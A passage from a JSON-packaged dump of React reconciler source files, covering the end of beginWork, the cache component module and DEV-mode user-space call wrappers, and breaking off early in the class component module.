(returnFiber === null) {\n      // eslint-disable-next-line react-internal/prod-error-codes\n      throw new Error('Cannot swap the root fiber.');\n    }\n\n    // Disconnect from the old current.\n    // It will get deleted.\n    current.alternate = null;\n    oldWorkInProgress.alternate = null;\n\n    // Connect to the new tree.\n    newWorkInProgress.index = oldWorkInProgress.index;\n    newWorkInProgress.sibling = oldWorkInProgress.sibling;\n    newWorkInProgress.return = oldWorkInProgress.return;\n    newWorkInProgress.ref = oldWorkInProgress.ref;\n\n    if (__DEV__) {\n      newWorkInProgress._debugInfo = oldWorkInProgress._debugInfo;\n    }\n\n    // Replace the child/sibling pointers above it.\n    if (oldWorkInProgress === returnFiber.child) {\n      returnFiber.child = newWorkInProgress;\n    } else {\n      let prevSibling = returnFiber.child;\n      if (prevSibling === null) {\n        // eslint-disable-next-line react-internal/prod-error-codes\n        throw new Error('Expected parent to have a child.');\n      }\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      while (prevSibling.sibling !== oldWorkInProgress) {\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        prevSibling = prevSibling.sibling;\n        if (prevSibling === null) {\n          // eslint-disable-next-line react-internal/prod-error-codes\n          throw new Error('Expected to find the previous sibling.');\n        }\n      }\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      prevSibling.sibling = newWorkInProgress;\n    }\n\n    // Delete the old fiber and place the new one.\n    // Since the old fiber is disconnected, we have to schedule it manually.\n    const deletions = returnFiber.deletions;\n    if (deletions === null) {\n      returnFiber.deletions = [current];\n      returnFiber.flags |= ChildDeletion;\n    } else {\n      deletions.push(current);\n    }\n\n    newWorkInProgress.flags |= Placement;\n\n    // Restart work from the new fiber.\n    return newWorkInProgress;\n  } else {\n    throw new Error(\n      'Did not expect this call in production. ' +\n        'This is a bug in React. Please file an issue.',\n    );\n  }\n}\n\nfunction checkScheduledUpdateOrContext(\n  current: Fiber,\n  renderLanes: Lanes,\n): boolean {\n  // Before performing an early bailout, we must check if there are pending\n  // updates or context.\n  const updateLanes = current.lanes;\n  if (includesSomeLane(updateLanes, renderLanes)) {\n    return true;\n  }\n  // No pending update, but because context is propagated lazily, we need\n  // to check for a context change before we bail out.\n  const dependencies = current.dependencies;\n  if (dependencies !== null && checkIfContextChanged(dependencies)) {\n    return true;\n  }\n  return false;\n}\n\nfunction attemptEarlyBailoutIfNoScheduledUpdate(\n  current: Fiber,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n) {\n  // This fiber does not have any pending work. Bailout without entering\n  // the begin phase. There's still some bookkeeping we that needs to be done\n  // in this optimized path, mostly pushing stuff onto the stack.\n  switch (workInProgress.tag) {\n    case HostRoot: {\n      pushHostRootContext(workInProgress);\n      const root: FiberRoot = workInProgress.stateNode;\n      pushRootTransition(workInProgress, root, renderLanes);\n\n      if (enableTransitionTracing) {\n        pushRootMarkerInstance(workInProgress);\n      }\n\n      const cache: Cache = current.memoizedState.cache;\n      pushCacheProvider(workInProgress, cache);\n      resetHydrationState();\n      break;\n    }\n    case HostSingleton:\n    case HostComponent:\n      pushHostContext(workInProgress);\n      break;\n    case ClassComponent: {\n      const Component = workInProgress.type;\n      if (isLegacyContextProvider(Component)) {\n        pushLegacyContextProvider(workInProgress);\n      }\n      break;\n    }\n    case HostPortal:\n      pushHostContainer(workInProgress, workInProgress.stateNode.containerInfo);\n      break;\n    case ContextProvider: {\n      const newValue = workInProgress.memoizedProps.value;\n      const context: ReactContext<any> = workInProgress.type;\n      pushProvider(workInProgress, context, newValue);\n      break;\n    }\n    case Profiler:\n      if (enableProfilerTimer) {\n        // Profiler should only call onRender when one of its descendants actually rendered.\n        const hasChildWork = includesSomeLane(\n          renderLanes,\n          workInProgress.childLanes,\n        );\n        if (hasChildWork) {\n          workInProgress.flags |= Update;\n        }\n\n        if (enableProfilerCommitHooks) {\n          // Schedule a passive effect for this Profiler to call onPostCommit hooks.\n          // This effect should be scheduled even if there is no onPostCommit callback for this Profiler,\n          // because the effect is also where times bubble to parent Profilers.\n          workInProgress.flags |= Passive;\n          // Reset effect durations for the next eventual effect phase.\n          // These are reset during render to allow the DevTools commit hook a chance to read them,\n          const stateNode = workInProgress.stateNode;\n          stateNode.effectDuration = -0;\n          stateNode.passiveEffectDuration = -0;\n        }\n      }\n      break;\n    case ActivityComponent: {\n      const state: ActivityState | null = workInProgress.memoizedState;\n      if (state !== null) {\n        // We're dehydrated so we're not going to render the children. This is just\n        // to maintain push/pop symmetry.\n        // We know that this component will suspend again because if it has\n        // been unsuspended it has committed as a hydrated Activity component.\n        // If it needs to be retried, it should have work scheduled on it.\n        workInProgress.flags |= DidCapture;\n        pushDehydratedActivitySuspenseHandler(workInProgress);\n        return null;\n      }\n      break;\n    }\n    case SuspenseComponent: {\n      const state: SuspenseState | null = workInProgress.memoizedState;\n      if (state !== null) {\n        if (state.dehydrated !== null) {\n          // We're not going to render the children, so this is just to maintain\n          // push/pop symmetry\n          pushPrimaryTreeSuspenseHandler(workInProgress);\n          // We know that this component will suspend again because if it has\n          // been unsuspended it has committed as a resolved Suspense component.\n          // If it needs to be retried, it should have work scheduled on it.\n          workInProgress.flags |= DidCapture;\n          // We should never render the children of a dehydrated boundary until we\n          // upgrade it. We return null instead of bailoutOnAlreadyFinishedWork.\n          return null;\n        }\n\n        // If this boundary is currently timed out, we need to decide\n        // whether to retry the primary children, or to skip over it and\n        // go straight to the fallback. Check the priority of the primary\n        // child fragment.\n        //\n        // Propagate context changes first. If a parent context changed\n        // and the primary children's consumer fibers were discarded\n        // during initial mount suspension, normal propagation can't find\n        // them. In that case we conservatively retry the boundary — the\n        // re-mounted children will read the updated context value.\n        const contextChanged = lazilyPropagateParentContextChanges(\n          current,\n          workInProgress,\n          renderLanes,\n        );\n        const primaryChildFragment: Fiber = (workInProgress.child: any);\n        const primaryChildLanes = primaryChildFragment.childLanes;\n        if (\n          contextChanged ||\n          includesSomeLane(renderLanes, primaryChildLanes)\n        ) {\n          // The primary children have pending work. Use the normal path\n          // to attempt to render the primary children again.\n          return updateSuspenseComponent(current, workInProgress, renderLanes);\n        } else {\n          // The primary child fragment does not have pending work marked\n          // on it\n          pushPrimaryTreeSuspenseHandler(workInProgress);\n          // The primary children do not have pending work with sufficient\n          // priority. Bailout.\n          const child = bailoutOnAlreadyFinishedWork(\n            current,\n            workInProgress,\n            renderLanes,\n          );\n          if (child !== null) {\n            // The fallback children have pending work. Skip over the\n            // primary children and work on the fallback.\n            return child.sibling;\n          } else {\n            // Note: We can return `null` here because we already checked\n            // whether there were nested context consumers, via the call to\n            // `bailoutOnAlreadyFinishedWork` above.\n            return null;\n          }\n        }\n      } else {\n        pushPrimaryTreeSuspenseHandler(workInProgress);\n      }\n      break;\n    }\n    case SuspenseListComponent: {\n      if (workInProgress.flags & DidCapture) {\n        // Second pass caught.\n        return updateSuspenseListComponent(\n          current,\n          workInProgress,\n          renderLanes,\n        );\n      }\n      const didSuspendBefore = (current.flags & DidCapture) !== NoFlags;\n\n      let hasChildWork = includesSomeLane(\n        renderLanes,\n        workInProgress.childLanes,\n      );\n\n      if (!hasChildWork) {\n        // Context changes may not have been propagated yet. We need to do\n        // that now, before we can decide whether to bail out.\n        // TODO: We use `childLanes` as a heuristic for whether there is\n        // remaining work in a few places, including\n        // `bailoutOnAlreadyFinishedWork` and\n        // `updateDehydratedSuspenseComponent`. We should maybe extract this\n        // into a dedicated function.\n        lazilyPropagateParentContextChanges(\n          current,\n          workInProgress,\n          renderLanes,\n        );\n        hasChildWork = includesSomeLane(renderLanes, workInProgress.childLanes);\n      }\n\n      if (didSuspendBefore) {\n        if (hasChildWork) {\n          // If something was in fallback state last time, and we have all the\n          // same children then we're still in progressive loading state.\n          // Something might get unblocked by state updates or retries in the\n          // tree which will affect the tail. So we need to use the normal\n          // path to compute the correct tail.\n          return updateSuspenseListComponent(\n            current,\n            workInProgress,\n            renderLanes,\n          );\n        }\n        // If none of the children had any work, that means that none of\n        // them got retried so they'll still be blocked in the same way\n        // as before. We can fast bail out.\n        workInProgress.flags |= DidCapture;\n      }\n\n      // If nothing suspended before and we're rendering the same children,\n      // then the tail doesn't matter. Anything new that suspends will work\n      // in the \"together\" mode, so we can continue from the state we had.\n      const renderState = workInProgress.memoizedState;\n      if (renderState !== null) {\n        // Reset to the \"together\" mode in case we've started a different\n        // update in the past but didn't complete it.\n        renderState.rendering = null;\n        renderState.tail = null;\n        renderState.lastEffect = null;\n      }\n      pushSuspenseListContext(workInProgress, suspenseStackCursor.current);\n\n      if (hasChildWork) {\n        break;\n      } else {\n        // If none of the children had any work, that means that none of\n        // them got retried so they'll still be blocked in the same way\n        // as before. We can fast bail out.\n        return null;\n      }\n    }\n    case OffscreenComponent: {\n      // Need to check if the tree still needs to be deferred. This is\n      // almost identical to the logic used in the normal update path,\n      // so we'll just enter that. The only difference is we'll bail out\n      // at the next level instead of this one, because the child props\n      // have not changed. Which is fine.\n      // TODO: Probably should refactor `beginWork` to split the bailout\n      // path from the normal path. I'm tempted to do a labeled break here\n      // but I won't :)\n      workInProgress.lanes = NoLanes;\n      return updateOffscreenComponent(\n        current,\n        workInProgress,\n        renderLanes,\n        workInProgress.pendingProps,\n      );\n    }\n    case CacheComponent: {\n      const cache: Cache = current.memoizedState.cache;\n      pushCacheProvider(workInProgress, cache);\n      break;\n    }\n    case TracingMarkerComponent: {\n      if (enableTransitionTracing) {\n        const instance: TracingMarkerInstance | null = workInProgress.stateNode;\n        if (instance !== null) {\n          pushMarkerInstance(workInProgress, instance);\n        }\n        break;\n      }\n      // Fallthrough\n    }\n    case LegacyHiddenComponent: {\n      if (enableLegacyHidden) {\n        workInProgress.lanes = NoLanes;\n        return updateLegacyHiddenComponent(\n          current,\n          workInProgress,\n          renderLanes,\n        );\n      }\n      // Fallthrough\n    }\n  }\n  return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);\n}\n\nfunction beginWork(\n  current: Fiber | null,\n  workInProgress: Fiber,\n  renderLanes: Lanes,\n): Fiber | null {\n  if (__DEV__) {\n    if (workInProgress._debugNeedsRemount && current !== null) {\n      // This will restart the begin phase with a new fiber.\n      const copiedFiber = createFiberFromTypeAndProps(\n        workInProgress.type,\n        workInProgress.key,\n        workInProgress.pendingProps,\n        workInProgress._debugOwner || null,\n        workInProgress.mode,\n        workInProgress.lanes,\n      );\n      copiedFiber._debugStack = workInProgress._debugStack;\n      copiedFiber._debugTask = workInProgress._debugTask;\n      return remountFiber(current, workInProgress, copiedFiber);\n    }\n  }\n\n  if (current !== null) {\n    const oldProps = current.memoizedProps;\n    const newProps = workInProgress.pendingProps;\n\n    if (\n      oldProps !== newProps ||\n      hasLegacyContextChanged() ||\n      // Force a re-render if the implementation changed due to hot reload:\n      (__DEV__ ? workInProgress.type !== current.type : false)\n    ) {\n      // If props or context changed, mark the fiber as having performed work.\n      // This may be unset if the props are determined to be equal later (memo).\n      didReceiveUpdate = true;\n    } else {\n      // Neither props nor legacy context changes. Check if there's a pending\n      // update or context change.\n      const hasScheduledUpdateOrContext = checkScheduledUpdateOrContext(\n        current,\n        renderLanes,\n      );\n      if (\n        !hasScheduledUpdateOrContext &&\n        // If this is the second pass of an error or suspense boundary, there\n        // may not be work scheduled on `current`, so we check for this flag.\n        (workInProgress.flags & DidCapture) === NoFlags\n      ) {\n        // No pending updates or context. Bail out now.\n        didReceiveUpdate = false;\n        return attemptEarlyBailoutIfNoScheduledUpdate(\n          current,\n          workInProgress,\n          renderLanes,\n        );\n      }\n      if ((current.flags & ForceUpdateForLegacySuspense) !== NoFlags) {\n        // This is a special case that only exists for legacy mode.\n        // See https://github.com/facebook/react/pull/19216.\n        didReceiveUpdate = true;\n      } else {\n        // An update was scheduled on this fiber, but there are no new props\n        // nor legacy context. Set this to false. If an update queue or context\n        // consumer produces a changed value, it will set this to true. Otherwise,\n        // the component will assume the children have not changed and bail out.\n        didReceiveUpdate = false;\n      }\n    }\n  } else {\n    didReceiveUpdate = false;\n\n    if (getIsHydrating() && isForkedChild(workInProgress)) {\n      // Check if this child belongs to a list of muliple children in\n      // its parent.\n      //\n      // In a true multi-threaded implementation, we would render children on\n      // parallel threads. This would represent the beginning of a new render\n      // thread for this subtree.\n      //\n      // We only use this for id generation during hydration, which is why the\n      // logic is located in this special branch.\n      const slotIndex = workInProgress.index;\n      const numberOfForks = getForksAtLevel(workInProgress);\n      pushTreeId(workInProgress, numberOfForks, slotIndex);\n    }\n  }\n\n  // Before entering the begin phase, clear pending update priority.\n  // TODO: This assumes that we're about to evaluate the component and process\n  // the update queue. However, there's an exception: SimpleMemoComponent\n  // sometimes bails out later in the begin phase. This indicates that we should\n  // move this assignment out of the common path and into each branch.\n  workInProgress.lanes = NoLanes;\n\n  switch (workInProgress.tag) {\n    case LazyComponent: {\n      const elementType = workInProgress.elementType;\n      return mountLazyComponent(\n        current,\n        workInProgress,\n        elementType,\n        renderLanes,\n      );\n    }\n    case FunctionComponent: {\n      const Component = workInProgress.type;\n      return updateFunctionComponent(\n        current,\n        workInProgress,\n        Component,\n        workInProgress.pendingProps,\n        renderLanes,\n      );\n    }\n    case ClassComponent: {\n      const Component = workInProgress.type;\n      const unresolvedProps = workInProgress.pendingProps;\n      const resolvedProps = resolveClassComponentProps(\n        Component,\n        unresolvedProps,\n      );\n      return updateClassComponent(\n        current,\n        workInProgress,\n        Component,\n        resolvedProps,\n        renderLanes,\n      );\n    }\n    case HostRoot:\n      return updateHostRoot(current, workInProgress, renderLanes);\n    case HostHoistable:\n      if (supportsResources) {\n        return updateHostHoistable(current, workInProgress, renderLanes);\n      }\n    // Fall through\n    case HostSingleton:\n      if (supportsSingletons) {\n        return updateHostSingleton(current, workInProgress, renderLanes);\n      }\n    // Fall through\n    case HostComponent:\n      return updateHostComponent(current, workInProgress, renderLanes);\n    case HostText:\n      return updateHostText(current, workInProgress);\n    case SuspenseComponent:\n      return updateSuspenseComponent(current, workInProgress, renderLanes);\n    case HostPortal:\n      return updatePortalComponent(current, workInProgress, renderLanes);\n    case ForwardRef: {\n      return updateForwardRef(\n        current,\n        workInProgress,\n        workInProgress.type,\n        workInProgress.pendingProps,\n        renderLanes,\n      );\n    }\n    case Fragment:\n      return updateFragment(current, workInProgress, renderLanes);\n    case Mode:\n      return updateMode(current, workInProgress, renderLanes);\n    case Profiler:\n      return updateProfiler(current, workInProgress, renderLanes);\n    case ContextProvider:\n      return updateContextProvider(current, workInProgress, renderLanes);\n    case ContextConsumer:\n      return updateContextConsumer(current, workInProgress, renderLanes);\n    case MemoComponent: {\n      return updateMemoComponent(\n        current,\n        workInProgress,\n        workInProgress.type,\n        workInProgress.pendingProps,\n        renderLanes,\n      );\n    }\n    case SimpleMemoComponent: {\n      return updateSimpleMemoComponent(\n        current,\n        workInProgress,\n        workInProgress.type,\n        workInProgress.pendingProps,\n        renderLanes,\n      );\n    }\n    case IncompleteClassComponent: {\n      if (disableLegacyMode) {\n        break;\n      }\n      const Component = workInProgress.type;\n      const unresolvedProps = workInProgress.pendingProps;\n      const resolvedProps = resolveClassComponentProps(\n        Component,\n        unresolvedProps,\n      );\n      return mountIncompleteClassComponent(\n        current,\n        workInProgress,\n        Component,\n        resolvedProps,\n        renderLanes,\n      );\n    }\n    case IncompleteFunctionComponent: {\n      if (disableLegacyMode) {\n        break;\n      }\n      const Component = workInProgress.type;\n      const unresolvedProps = workInProgress.pendingProps;\n      const resolvedProps = resolveClassComponentProps(\n        Component,\n        unresolvedProps,\n      );\n      return mountIncompleteFunctionComponent(\n        current,\n        workInProgress,\n        Component,\n        resolvedProps,\n        renderLanes,\n      );\n    }\n    case SuspenseListComponent: {\n      return updateSuspenseListComponent(current, workInProgress, renderLanes);\n    }\n    case ScopeComponent: {\n      if (enableScopeAPI) {\n        return updateScopeComponent(current, workInProgress, renderLanes);\n      }\n      break;\n    }\n    case ActivityComponent: {\n      return updateActivityComponent(current, workInProgress, renderLanes);\n    }\n    case OffscreenComponent: {\n      return updateOffscreenComponent(\n        current,\n        workInProgress,\n        renderLanes,\n        workInProgress.pendingProps,\n      );\n    }\n    case LegacyHiddenComponent: {\n      if (enableLegacyHidden) {\n        return updateLegacyHiddenComponent(\n          current,\n          workInProgress,\n          renderLanes,\n        );\n      }\n      break;\n    }\n    case CacheComponent: {\n      return updateCacheComponent(current, workInProgress, renderLanes);\n    }\n    case TracingMarkerComponent: {\n      if (enableTransitionTracing) {\n        return updateTracingMarkerComponent(\n          current,\n          workInProgress,\n          renderLanes,\n        );\n      }\n      break;\n    }\n    case ViewTransitionComponent: {\n      if (enableViewTransition) {\n        return updateViewTransition(current, workInProgress, renderLanes);\n      }\n      break;\n    }\n    case Throw: {\n      // This represents a Component that threw in the reconciliation phase.\n      // So we'll rethrow here. This might be a Thenable.\n      throw workInProgress.pendingProps;\n    }\n  }\n\n  throw new Error(\n    `Unknown unit of work tag (${workInProgress.tag}). This error is likely caused by a bug in ` +\n      'React. Please file an issue.',\n  );\n}\n\nexport {beginWork};\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberCacheComponent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\n\nimport {REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';\n\nimport {pushProvider, popProvider} from './ReactFiberNewContext';\nimport * as Scheduler from 'scheduler';\n\n// In environments without AbortController (e.g. tests)\n// replace it with a lightweight shim that only has the features we use.\nconst AbortControllerLocal: typeof AbortController =\n  typeof AbortController !== 'undefined'\n    ? AbortController\n    : // $FlowFixMe[incompatible-type]\n      // $FlowFixMe[missing-this-annot]\n      function AbortControllerShim() {\n        const listeners = [];\n        const signal = (this.signal = {\n          aborted: false as boolean,\n          addEventListener: (type, listener) => {\n            listeners.push(listener);\n          },\n        });\n\n        this.abort = () => {\n          signal.aborted = true;\n          listeners.forEach(listener => listener());\n        };\n      };\n\nexport type Cache = {\n  controller: AbortController,\n  data: Map<() => mixed, mixed>,\n  refCount: number,\n};\n\nexport type CacheComponentState = {\n  +parent: Cache,\n  +cache: Cache,\n};\n\nexport type SpawnedCachePool = {\n  +parent: Cache,\n  +pool: Cache,\n};\n\n// Intentionally not named imports because Rollup would\n// use dynamic dispatch for CommonJS interop named imports.\nconst {\n  unstable_scheduleCallback: scheduleCallback,\n  unstable_NormalPriority: NormalPriority,\n} = Scheduler;\n\nexport const CacheContext: ReactContext<Cache> = {\n  $$typeof: REACT_CONTEXT_TYPE,\n  // We don't use Consumer/Provider for Cache components. So we'll cheat.\n  Consumer: (null: any),\n  Provider: (null: any),\n  // We'll initialize these at the root.\n  _currentValue: (null: any),\n  _currentValue2: (null: any),\n  _threadCount: 0,\n};\n\nif (__DEV__) {\n  CacheContext._currentRenderer = null;\n  CacheContext._currentRenderer2 = null;\n}\n\n// Creates a new empty Cache instance with a ref-count of 0. The caller is responsible\n// for retaining the cache once it is in use (retainCache), and releasing the cache\n// once it is no longer needed (releaseCache).\nexport function createCache(): Cache {\n  return {\n    controller: new AbortControllerLocal(),\n    data: new Map(),\n    refCount: 0,\n  };\n}\n\nexport function retainCache(cache: Cache) {\n  if (__DEV__) {\n    if (cache.controller.signal.aborted) {\n      console.warn(\n        'A cache instance was retained after it was already freed. ' +\n          'This likely indicates a bug in React.',\n      );\n    }\n  }\n  cache.refCount++;\n}\n\n// Cleanup a cache instance, potentially freeing it if there are no more references\nexport function releaseCache(cache: Cache) {\n  cache.refCount--;\n  if (__DEV__) {\n    if (cache.refCount < 0) {\n      console.warn(\n        'A cache instance was released after it was already freed. ' +\n          'This likely indicates a bug in React.',\n      );\n    }\n  }\n  if (cache.refCount === 0) {\n    scheduleCallback(NormalPriority, () => {\n      cache.controller.abort();\n    });\n  }\n}\n\nexport function pushCacheProvider(workInProgress: Fiber, cache: Cache) {\n  pushProvider(workInProgress, CacheContext, cache);\n}\n\nexport function popCacheProvider(workInProgress: Fiber, cache: Cache) {\n  popProvider(CacheContext, workInProgress);\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberCallUserSpace.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\nimport type {LazyComponent} from 'react/src/ReactLazy';\nimport type {Effect} from './ReactFiberHooks';\nimport type {CapturedValue} from './ReactCapturedValue';\n\nimport {isRendering, setIsRendering} from './ReactCurrentFiber';\nimport {captureCommitPhaseError} from './ReactFiberWorkLoop';\n\n// These indirections exists so we can exclude its stack frame in DEV (and anything below it).\n// TODO: Consider marking the whole bundle instead of these boundaries.\n\nconst callComponent = {\n  react_stack_bottom_frame: function <Props, Arg, R>(\n    Component: (p: Props, arg: Arg) => R,\n    props: Props,\n    secondArg: Arg,\n  ): R {\n    const wasRendering = isRendering;\n    setIsRendering(true);\n    try {\n      const result = Component(props, secondArg);\n      return result;\n    } finally {\n      setIsRendering(wasRendering);\n    }\n  },\n};\n\nexport const callComponentInDEV: <Props, Arg, R>(\n  Component: (p: Props, arg: Arg) => R,\n  props: Props,\n  secondArg: Arg,\n) => R = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (callComponent.react_stack_bottom_frame.bind(callComponent): any)\n  : (null: any);\n\ninterface ClassInstance<R> {\n  render(): R;\n  componentDidMount(): void;\n  componentDidUpdate(\n    prevProps: Object,\n    prevState: Object,\n    snaphot: Object,\n  ): void;\n  componentDidCatch(error: mixed, errorInfo: {componentStack: string}): void;\n  componentWillUnmount(): void;\n}\n\nconst callRender = {\n  react_stack_bottom_frame: function <R>(instance: ClassInstance<R>): R {\n    const wasRendering = isRendering;\n    setIsRendering(true);\n    try {\n      const result = instance.render();\n      return result;\n    } finally {\n      setIsRendering(wasRendering);\n    }\n  },\n};\n\nexport const callRenderInDEV: <R>(instance: ClassInstance<R>) => R => R =\n  __DEV__\n    ? // We use this technique to trick minifiers to preserve the function name.\n      (callRender.react_stack_bottom_frame.bind(callRender): any)\n    : (null: any);\n\nconst callComponentDidMount = {\n  react_stack_bottom_frame: function (\n    finishedWork: Fiber,\n    instance: ClassInstance<any>,\n  ): void {\n    try {\n      instance.componentDidMount();\n    } catch (error) {\n      captureCommitPhaseError(finishedWork, finishedWork.return, error);\n    }\n  },\n};\n\nexport const callComponentDidMountInDEV: (\n  finishedWork: Fiber,\n  instance: ClassInstance<any>,\n) => void = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (callComponentDidMount.react_stack_bottom_frame.bind(\n      callComponentDidMount,\n    ): any)\n  : (null: any);\n\nconst callComponentDidUpdate = {\n  react_stack_bottom_frame: function (\n    finishedWork: Fiber,\n    instance: ClassInstance<any>,\n    prevProps: Object,\n    prevState: Object,\n    snapshot: Object,\n  ): void {\n    try {\n      instance.componentDidUpdate(prevProps, prevState, snapshot);\n    } catch (error) {\n      captureCommitPhaseError(finishedWork, finishedWork.return, error);\n    }\n  },\n};\n\nexport const callComponentDidUpdateInDEV: (\n  finishedWork: Fiber,\n  instance: ClassInstance<any>,\n  prevProps: Object,\n  prevState: Object,\n  snaphot: Object,\n) => void = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (callComponentDidUpdate.react_stack_bottom_frame.bind(\n      callComponentDidUpdate,\n    ): any)\n  : (null: any);\n\nconst callComponentDidCatch = {\n  react_stack_bottom_frame: function (\n    instance: ClassInstance<any>,\n    errorInfo: CapturedValue<mixed>,\n  ): void {\n    const error = errorInfo.value;\n    const stack = errorInfo.stack;\n    instance.componentDidCatch(error, {\n      componentStack: stack !== null ? stack : '',\n    });\n  },\n};\n\nexport const callComponentDidCatchInDEV: (\n  instance: ClassInstance<any>,\n  errorInfo: CapturedValue<mixed>,\n) => void = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (callComponentDidCatch.react_stack_bottom_frame.bind(\n      callComponentDidCatch,\n    ): any)\n  : (null: any);\n\nconst callComponentWillUnmount = {\n  react_stack_bottom_frame: function (\n    current: Fiber,\n    nearestMountedAncestor: Fiber | null,\n    instance: ClassInstance<any>,\n  ): void {\n    try {\n      instance.componentWillUnmount();\n    } catch (error) {\n      captureCommitPhaseError(current, nearestMountedAncestor, error);\n    }\n  },\n};\n\nexport const callComponentWillUnmountInDEV: (\n  current: Fiber,\n  nearestMountedAncestor: Fiber | null,\n  instance: ClassInstance<any>,\n) => void = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (callComponentWillUnmount.react_stack_bottom_frame.bind(\n      callComponentWillUnmount,\n    ): any)\n  : (null: any);\n\nconst callCreate = {\n  react_stack_bottom_frame: function (\n    effect: Effect,\n  ): (() => void) | {...} | void | null {\n    const create = effect.create;\n    const inst = effect.inst;\n    const destroy = create();\n    inst.destroy = destroy;\n    return destroy;\n  },\n};\n\nexport const callCreateInDEV: (effect: Effect) => (() => void) | void = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (callCreate.react_stack_bottom_frame.bind(callCreate): any)\n  : (null: any);\n\nconst callDestroy = {\n  react_stack_bottom_frame: function (\n    current: Fiber,\n    nearestMountedAncestor: Fiber | null,\n    destroy: () => void,\n  ): void {\n    try {\n      destroy();\n    } catch (error) {\n      captureCommitPhaseError(current, nearestMountedAncestor, error);\n    }\n  },\n};\n\nexport const callDestroyInDEV: (\n  current: Fiber,\n  nearestMountedAncestor: Fiber | null,\n  destroy: (() => void) | (({...}) => void),\n) => void = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (callDestroy.react_stack_bottom_frame.bind(callDestroy): any)\n  : (null: any);\n\nconst callLazyInit = {\n  react_stack_bottom_frame: function (lazy: LazyComponent<any, any>): any {\n    const payload = lazy._payload;\n    const init = lazy._init;\n    return init(payload);\n  },\n};\n\nexport const callLazyInitInDEV: (lazy: LazyComponent<any, any>) => any = __DEV__\n  ? // We use this technique to trick minifiers to preserve the function name.\n    (callLazyInit.react_stack_bottom_frame.bind(callLazyInit): any)\n  : (null: any);\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberClassComponent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\nimport type {Lanes} from './ReactFiberLane';\nimport type {UpdateQueue} from './ReactFiberClassUpdateQueue';\n\nimport {\n  LayoutStatic,\n  Update,\n  Snapshot,\n  MountLayoutDev,\n} from './ReactFiberFlags';\nimport {\n  disableLegacyContext,\n  enableSchedulingProfiler,\n} from 'shared/ReactFeatureFlags';\nimport ReactStrictModeWarnings from './ReactStrictModeWarnings';\nimport {get as getInstance, set as setInstance} from 'shared/ReactInstanceMap';\nimport shallowEqual from 'shared/shallowEqual';\nimport getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\nimport assign from 'shared/assign';\nimport isArray from 'shared/isArray';\nimport {REACT_CONTEXT_TYPE, REACT_CONSUMER_TYPE} from 'shared/ReactSymbols';\n\nimport {NoMode, StrictLegacyMode, StrictEffectsMode} from './ReactTypeOfMode';\n\nimport {\n  enqueueUpdate,\n  entangleTransitions,\n  processUpdateQueue,\n  checkHasForceUpdateAfterProcessing,\n  resetHasForceUpdateBeforeProcessing,\n  createUpdate,\n  ReplaceState,\n  ForceUpdate,\n  initializeUpdateQueue,\n  cloneUpdateQueue,\n  suspendIfUpdateReadFromEntangledAsyncAction,\n} from './ReactFiberClassUpdateQueue';\nimport {NoLanes} from './ReactFiberLane';\nimport {\n  cacheContext,\n  getMaskedContext,\n  getUnmaskedContext,\n  hasContextChanged,\n  emptyContextObject,\n} from './ReactFiberLegacyContext';\nimport {readContext, checkIfContextChanged} from './ReactFiberNewContext';\nimport {requestUpdateLane, scheduleUpdateOnFiber} from './ReactFiberWorkLoop';\nimport {\n  markForceUpdateScheduled,\n  markStateUpdateScheduled,\n  setIsStrictModeForDevtools,\n} from './ReactFiberDevToolsHook';\nimport {startUpdateTimerByLane} from './ReactProfilerTimer';\n\nconst fakeInternalInstance = {};\n\nlet didWarnAboutStateAssignmentForComponent;\nlet didWarnAboutUninitializedState;\nlet didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate;\nlet didWarnAboutLegacyLifecyclesAndDerivedState;\nlet didWarnAboutUndefinedDerivedState;\nlet didWarnAboutDirectlyAssigningPropsToState;\nlet didWarnAboutContextTypeAndContextTypes;\nlet didWarnAboutContextTypes;\nlet didWarnAboutChildContextTypes;\nlet didWarnAboutInvalidateContextType;\nlet didWarnOnInvalidCallback;\n\nif (__DEV__) {\n  didWarnAboutStateAssignmentForComponent = new Set<string>();\n  didWarnAboutUninitializedState = new Set<string>();\n  didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate = new Set<string>();\n  didWarnAboutLegacyLifecyclesAndDerivedState = new Set<string>();\n  didWarnAboutDirectlyAssigningPropsToState = new Set<string>();\n  didWarnAboutUndefinedDerivedState = new Set<string>();\n  didWarnAboutContextTypeAndContextTypes = new Set<string>();\n  didWarnAboutContextTypes = new Set<mixed>();\n  didWarnAboutChildContextTypes = new Set<mixed>();\n  didWarnAboutInvalidateContextType = new Set<string>();\n  didWarnOnInvalidCallback = new Set<string>();\n\n  Object.freeze(fakeInternalInstance);\n}\n\nfunction warnOnInvalidCallback(callback: mixed) {\n  if (__DEV__) {\n    if (callback === null || typeof callback === 'function') {\n      return;\n    